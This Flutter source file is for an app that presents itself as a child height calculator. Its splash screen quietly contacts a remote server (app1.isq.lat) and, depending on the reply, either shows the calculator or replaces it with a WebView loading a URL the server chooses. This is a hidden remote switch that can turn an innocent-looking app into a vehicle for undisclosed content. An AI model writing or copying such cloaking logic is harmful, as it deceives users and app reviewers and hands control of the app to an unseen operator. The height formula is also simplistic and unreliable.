import 'dart:async';

import 'package:dio/dio.dart';
import 'package:flutter/material.dart';

import 'WebViewPage.dart';
import 'WebViewPage2.dart';


void main() {
  // 确保在应用启动时设置 WebView 平台
  runApp(MyApp());
}

class MyApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'Kalkulator Tinggi Badan',
      theme: ThemeData(
        primarySwatch: Colors.blue,
      ),
      home: SplashScreen(), // Menampilkan SplashScreen pertama kali
    );
  }
}

// SplashScreen Class
class SplashScreen extends StatefulWidget {
  @override
  _SplashScreenState createState() => _SplashScreenState();
}

class _SplashScreenState extends State<SplashScreen> {
  @override
  void initState() {
    super.initState();
    getInfo();
  }

  final dio = Dio();

  Future<void> getInfo() async {
    try {
      final result = await dio.get('https://app1.isq.lat/');
      String res = result.toString();
      print("debug $result");
      List<String> split = res.split("#");
      if (split.isNotEmpty) {
        print("webview  --> OkHttpClient 01= ${split[0]}");
        print("webview  --> OkHttpClient 02= ${split[1]}");

        if (split[0] == "0") {
          goNext();
        } else {
          goWebViewScreen(split[1]);
        }
      } else {
        goNext();
      }
    } catch (e) {
      print("Error: $e");
      goNext();
    }
  }

  void goNext() {
    // Implement your navigation logic here
    Navigator.pushReplacement(
      context,
      MaterialPageRoute(builder: (context) => HeightCalculator()),
    );
  }

  void goWebViewScreen(String url) {
    Navigator.pushReplacement(
      context,
      MaterialPageRoute(
          builder: (context) => WebViewPage(title: "test", url: url)),
    );
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      body: Container(
        color: Colors.blue[800], // Background warna biru
        child: Center(
          child: Column(
            mainAxisAlignment: MainAxisAlignment.center,
            children: [
              const Text(
                'Kalkulator Tinggi Badan', // Nama aplikasi di atas logo
                style: TextStyle(
                  fontSize: 24,
                  fontWeight: FontWeight.bold,
                  color: Colors.white,
                ),
              ),
              const SizedBox(height: 20), // Jarak antara teks dan logo
              Image.asset(
                'assets/splash_image.png', // Gambar logo
                width: 150, // Ukuran logo diperkecil
                height: 150,
              ),
              const SizedBox(height: 20),
              const CircularProgressIndicator(
                valueColor: AlwaysStoppedAnimation<Color>(Colors.white),
              ),
            ],
          ),
        ),
      ),
    );
  }
}

// Kalkulator Tinggi Badan Class
class HeightCalculator extends StatefulWidget {
  @override
  _HeightCalculatorState createState() => _HeightCalculatorState();
}

class _HeightCalculatorState extends State<HeightCalculator> {
  final TextEditingController _tinggiAnakController = TextEditingController();
  final TextEditingController _beratAnakController = TextEditingController();
  final TextEditingController _tinggiIbuController = TextEditingController();
  final TextEditingController _tinggiAyahController = TextEditingController();

  double _usiaAnak = 4.5;
  String _jenisKelamin = 'Anak laki-laki';

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(
        title: const Text(
          'Kalkulator Tinggi Badan',
          style: TextStyle(color: Colors.white), // Warna teks putih
        ),
        backgroundColor: Colors.blue[800],
      ),
      body: Padding(
        padding: const EdgeInsets.all(16.0),
        child: SingleChildScrollView(
          child: Column(
            crossAxisAlignment: CrossAxisAlignment.start,
            children: [
              // Usia Anak
              _buildDropdownUsia(),
              SizedBox(height: 20),

              // Jenis Kelamin
              _buildDropdownJenisKelamin(),
              SizedBox(height: 20),

              // Tinggi Anak
              _buildTextInputField("Tinggi Anak (cm)", _tinggiAnakController),
              SizedBox(height: 20),

              // Berat Anak
              _buildTextInputField("Berat Anak (kg)", _beratAnakController),
              SizedBox(height: 20),

              // Tinggi Ibu
              _buildTextInputField("Tinggi Ibu (cm)", _tinggiIbuController),
              SizedBox(height: 20),

              // Tinggi Ayah
              _buildTextInputField("Tinggi Ayah (cm)", _tinggiAyahController),
              SizedBox(height: 20),

              // Tombol Hitung
              Center(
                child: ElevatedButton(
                  style: ElevatedButton.styleFrom(
                    backgroundColor: Colors.blue[800],
                    padding: EdgeInsets.symmetric(horizontal: 30, vertical: 15),
                    textStyle: TextStyle(fontSize: 18),
                  ),
                  onPressed: _calculateHeight,
                  child: Text(
                    'Hitung Tinggi Prediksi',
                    style: TextStyle(color: Colors.white), // Teks putih
                  ),
                ),
              ),
            ],
          ),
        ),
      ),
    );
  }

  // Widget untuk Dropdown Usia Anak
  Widget _buildDropdownUsia() {
    return DropdownButtonFormField<double>(
      value: _usiaAnak,
      onChanged: (double? newValue) {
        setState(() {
          _usiaAnak = newValue!;
        });
      },
      decoration: InputDecoration(
        labelText: "Usia Anak",
        border: OutlineInputBorder(),
      ),
      items: <double>[for (var i = 4.5; i <= 17.0; i += 0.5) i]
          .map<DropdownMenuItem<double>>((double value) {
        return DropdownMenuItem<double>(
          value: value,
          child: Text(value.toString()),
        );
      }).toList(),
    );
  }

  // Widget untuk Dropdown Jenis Kelamin Anak
  Widget _buildDropdownJenisKelamin() {
    return DropdownButtonFormField<String>(
      value: _jenisKelamin,
      onChanged: (String? newValue) {
        setState(() {
          _jenisKelamin = newValue!;
        });
      },
      decoration: InputDecoration(
        labelText: "Jenis Kelamin Anak",
        border: OutlineInputBorder(),
      ),
      items: <String>['Anak laki-laki', 'Gadis']
          .map<DropdownMenuItem<String>>((String value) {
        return DropdownMenuItem<String>(
          value: value,
          child: Text(value),
        );
      }).toList(),
    );
  }

  // Widget untuk Text Input Field
  Widget _buildTextInputField(String label, TextEditingController controller) {
    return TextFormField(
      controller: controller,
      keyboardType: TextInputType.number,
      decoration: InputDecoration(
        labelText: label,
        border: OutlineInputBorder(),
      ),
    );
  }

  // Fungsi untuk menghitung tinggi badan
  void _calculateHeight() {
    double? tinggiAnak = double.tryParse(_tinggiAnakController.text);
    double? tinggiIbu = double.tryParse(_tinggiIbuController.text);
    double? tinggiAyah = double.tryParse(_tinggiAyahController.text);
    if (tinggiAnak != null && tinggiIbu != null && tinggiAyah != null) {
      double predictedHeight = (tinggiIbu + tinggiAyah) / 2;

      showDialog(
        context: context,
        builder: (context) => AlertDialog(
          title: Text('Hasil Prediksi'),
          content: Text(
            'Perkiraan tinggi anak adalah ${predictedHeight.toStringAsFixed(2)} cm.',
          ),
          actions: [
            TextButton(
              onPressed: () => Navigator.pop(context),
              child: Text('OK'),
            ),
          ],
        ),
      );
    } else {
      showDialog(
        context: context,
        builder: (context) => AlertDialog(
          title: Text('Error'),
          content: Text('Silakan masukkan semua data dengan benar.'),
          actions: [
            TextButton(
              onPressed: () => Navigator.pop(context),
              child: Text('OK'),
            ),
          ],
        ),
      );
    }
  }
}
